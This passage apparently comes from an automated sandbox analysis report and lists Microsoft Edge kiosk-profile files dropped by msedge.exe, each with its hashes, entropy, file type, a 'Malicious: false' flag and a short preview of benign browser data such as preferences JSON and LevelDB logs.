Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6292
Entropy (8bit):	4.966868852441012
Encrypted:	false
SSDEEP:	96:stvqfeuNis1/Zb9VBytN8z+s85eh6Cb7/x+6MhmuecmAe9eoJ2MA/EJ:stv5sJytNk+s88bV+FiAuPAMJ
MD5:	3938ACE09EB25729B774BED54D78174F
SHA1:	888B22DE7E553A961364B778439E6A3373AE0CF8
SHA-256:	92046C652A2D042E7EF21715D3C8C2644A2EC674E82F20CB7A577EAD3C29FEAE
SHA-512:	3AB3E0EBDF7CCAADFCCF2C6A81201FF17ED0FA6697D2A54C1D3FA7BF3793E2230FFCB01331270E2203211ED5EFF461C0949D84DE06119056186270254CBB65D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369620613894990","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369620613891593"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF4d84b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6292
Entropy (8bit):	4.966868852441012
Encrypted:	false
SSDEEP:	96:stvqfeuNis1/Zb9VBytN8z+s85eh6Cb7/x+6MhmuecmAe9eoJ2MA/EJ:stv5sJytNk+s88bV+FiAuPAMJ
MD5:	3938ACE09EB25729B774BED54D78174F
SHA1:	888B22DE7E553A961364B778439E6A3373AE0CF8
SHA-256:	92046C652A2D042E7EF21715D3C8C2644A2EC674E82F20CB7A577EAD3C29FEAE
SHA-512:	3AB3E0EBDF7CCAADFCCF2C6A81201FF17ED0FA6697D2A54C1D3FA7BF3793E2230FFCB01331270E2203211ED5EFF461C0949D84DE06119056186270254CBB65D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369620613894990","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369620613891593"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\README

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.2629097520179995
Encrypted:	false
SSDEEP:	3:RGXKRjg0QwVIWRKXECSAV6jDyhjgHGAW+LB2Z4MKLFE1SwhiFAfXQmWyKBPMwRgK:z3frsUpAQQgHGwB26MK8Sw06fXQmWtRT
MD5:	643E00B0186AA80523F8A6BED550A925
SHA1:	EC4056125D6F1A8890FFE01BFFC973C2F6ABD115
SHA-256:	A0C9ABAE18599F0A65FC654AD36251F6330794BEA66B718A09D8B297F3E38E87
SHA-512:	D91A934EAF7D9D669B8AD4452234DE6B23D15237CB4D251F2C78C8339CEE7B4F9BA6B8597E35FE8C81B3D6F64AE707C68FF492903C0EDC3E4BAF2C6B747E247D
Malicious:	false
Preview:	Microsoft Edge settings and storage represent user-selected preferences and information and MUST not be extracted, overwritten or modified except through Microsoft Edge defined APIs.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24799
Entropy (8bit):	5.565955614022802
Encrypted:	false
SSDEEP:	768:SnwesPWPOcfpQ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVmPbAsrwUpGtuE:SnwesPWPOcfpQu1javTAF9t/
MD5:	960FAC6669E0356666D5EFF492997D3F
SHA1:	A6350E082040BEA6A4A9F16DEA6256B56125A444
SHA-256:	ABAC26DBC2B39C74788326BBC808A63EA6C5419E2FED9FA773015C3BD1E2C65B
SHA-512:	76DE37B2FDB654F8770CA88131770FC841AE71B8C55ED42F3C0FDAAD342453EFB089AC7D21C07D1C45C8474DC504537A04347334EFC2EFD59C61F1A2EEF8E90B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369620612824633","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369620612824633","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Secure Preferences~RF4a69c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24799
Entropy (8bit):	5.565955614022802
Encrypted:	false
SSDEEP:	768:SnwesPWPOcfpQ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVmPbAsrwUpGtuE:SnwesPWPOcfpQu1javTAF9t/
MD5:	960FAC6669E0356666D5EFF492997D3F
SHA1:	A6350E082040BEA6A4A9F16DEA6256B56125A444
SHA-256:	ABAC26DBC2B39C74788326BBC808A63EA6C5419E2FED9FA773015C3BD1E2C65B
SHA-512:	76DE37B2FDB654F8770CA88131770FC841AE71B8C55ED42F3C0FDAAD342453EFB089AC7D21C07D1C45C8474DC504537A04347334EFC2EFD59C61F1A2EEF8E90B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369620612824633","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369620612824633","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.160877598186631
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljljljl:S85aEFljljljl
MD5:	7733303DBE19B64C38F3DE4FE224BE9A
SHA1:	8CA37B38028A2DB895A4570E0536859B3CC5C279
SHA-256:	B10C1BA416A632CD57232C81A5C2E8EE76A716E0737D10EABE1D430BEC50739D
SHA-512:	E8CD965BCA0480DB9808CB1B461AC5BF5935C3CBF31C10FDF090D406F4BC4F3187D717199DCF94197B8DF24C1D6E4FF07241D8CFFFD9AEE06CCE9674F0220E29
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.141429003965203
Encrypted:	false
SSDEEP:	6:7pCRM1923oH+TcwtSQM72KLldjq2P923oH+TcwtSQMxIFUv:78RhYeb0Ljjv4YebrFUv
MD5:	2D6A74CFBE6668B44A9DDEA90AC02DC4
SHA1:	25407F14267523C1E5CA418D03A8D6260CD8BB95
SHA-256:	0F5EF94D220CE04C0518B48628382EA7D94F30D8F014C511C0CE3419EA7AF76A
SHA-512:	74C318E42619D280D8F7BF5BB858407E700F388F53314AD02651B7C92DF13E11634391F86B204D9105A61F591BEB878672441FBD14345A0DB4D56E9C7F6920DD
Malicious:	false
Preview:	2024/08/31-19:30:29.845 1a04 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage since it was missing..2024/08/31-19:30:29.864 1a04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.473726825238924
Encrypted:	false
SSDEEP:	3:41tt0diERGn:et084G
MD5:	148079685E25097536785F4536AF014B
SHA1:	C5FF5B1B69487A9DD4D244D11BBAFA91708C1A41
SHA-256:	F096BC366A931FBA656BDCD77B24AF15A5F29FC53281A727C79F82C608ECFAB8
SHA-512:	C2556034EA51ABFBC172EB62FF11F5AC45C317F84F39D4B9E3DDBD0190DA6EF7FA03FE63631B97AB806430442974A07F8E81B5F7DC52D9F2FCDC669ADCA8D91F
Malicious:	false
Preview:	.On.!................database_metadata.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.100238303374852
Encrypted:	false
SSDEEP:	6:7wa81923oH+TcwtgUh2gr52KLld03+q2P923oH+TcwtgUh2ghZIFUv:7ZxYeb3hHJLjA+v4Yeb3hHh2FUv
MD5:	64D86120CA67241C7C028A5318C4FDF7
SHA1:	B56942A301C4D740195FD48AEE79895493ADB6CD
SHA-256:	51EE2A0D6CBFDC887837E7869A6380915675DD85FF99B1708F652D7F4C0D806E
SHA-512:	2ED8EDDA0EA5AB54E2C2DB8FA876D559C8EADF76575D6ACA35054D1F5FACC7E42443806E0219E945E78FDE1A1175391AF2CA7A70F7508C67A77ABD63C87B33B6
Malicious:	false
Preview:	2024/08/31-19:30:13.169 16cc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database since it was missing..2024/08/31-19:30:13.196 16cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	5.027445846313988E-4
Encrypted:	false
SSDEEP:	3:LsulS8p:LsX
MD5:	2C8FB7D8F9F9CBFC807920DB27309047
SHA1:	EF567D9D4C1F9A99E38D62DD741DC7BD7A97705A
SHA-256:	BE9765AF9D4B24E690E5A3AC832D61126B87637015342107E7AB82EC05B32528
SHA-512:	10D118641F6E682A3A78C0C88567CE664F60033BB9AEA6A624C510057D2E9820D23169023FE97D8CA6FC082AAE9BA01976B4BC2C199143420137F17F8232408F
Malicious:	false
Preview:	..........................................._../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:xmPqt00EPNS+l:gPogPLl
MD5:	55F0A4C0FF9CDDAD0AF47FDF210B9261
SHA1:	3F144BFE065EEFB8BA8BCF858D72273482932811
SHA-256:	8634AB755869AEBF0EDC3EA1A0E2B514C46C106FAEAEE4B1A45C2E42E8E41603
SHA-512:	FB916CB9D8EBED08978336CC064002448906BFA2E68C3304611D1FEA1FCE4CB43BF11F2B4D003F884130E86CD03DB9E775BC46C9CB4AB67447F8108488F80AB0
Malicious:	false
Preview:	(....C..oy retne..........................z_../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:xmPqt00EPNS+l:gPogPLl
MD5:	55F0A4C0FF9CDDAD0AF47FDF210B9261
SHA1:	3F144BFE065EEFB8BA8BCF858D72273482932811
SHA-256:	8634AB755869AEBF0EDC3EA1A0E2B514C46C106FAEAEE4B1A45C2E42E8E41603
SHA-512:	FB916CB9D8EBED08978336CC064002448906BFA2E68C3304611D1FEA1FCE4CB43BF11F2B4D003F884130E86CD03DB9E775BC46C9CB4AB67447F8108488F80AB0
Malicious:	false
Preview:	(....C..oy retne..........................z_../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:YdYKcFX00EKHe68a+:YqtgceK+
MD5:	ACC3151642A04910F38ECC57DD86E996
SHA1:	15032EB5492B9D1A549E09B081B673480A1D7990
SHA-256:	12BA8EBFD6A628E3AAEE9B4D3BD3ACC9F31EB5B7BE08F07DAA54E8249E7243C2
SHA-512:	A556F7DC011B2EC133BCDE5575739162D36C9B6285AEFFE49C60A2CA30C562D12A8381E92D91823F797999F31B0CBA8EAB3E0DFF33041A71EA2425BA1D8B7C31
Malicious:	false
Preview:	(...E..oy retne........................."{_../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
